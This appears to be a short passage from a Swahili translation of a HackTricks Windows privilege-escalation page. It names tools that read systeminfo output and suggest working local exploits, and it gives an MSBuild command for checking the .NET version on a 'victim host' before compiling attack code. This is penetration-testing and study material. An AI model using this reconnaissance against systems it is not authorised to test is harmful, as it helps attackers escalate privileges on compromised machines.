Windows-Exploit-Suggester -- Inasoma matokeo ya systeminfo na inapendekeza exploits zinazofanya kazi (python ya ndani) Windows Exploit Suggester Next Generation -- Inasoma matokeo ya systeminfo na inapendekeza exploits zinazofanya kazi (python ya ndani)

Meterpreter

multi/recon/local_exploit_suggestor

Lazima uunde mradi kwa kutumia toleo sahihi la .NET (ona hii). Ili kuona toleo lililosakinishwa la .NET kwenye mwenyeji wa mwathirika unaweza kufanya:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Bibliography

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

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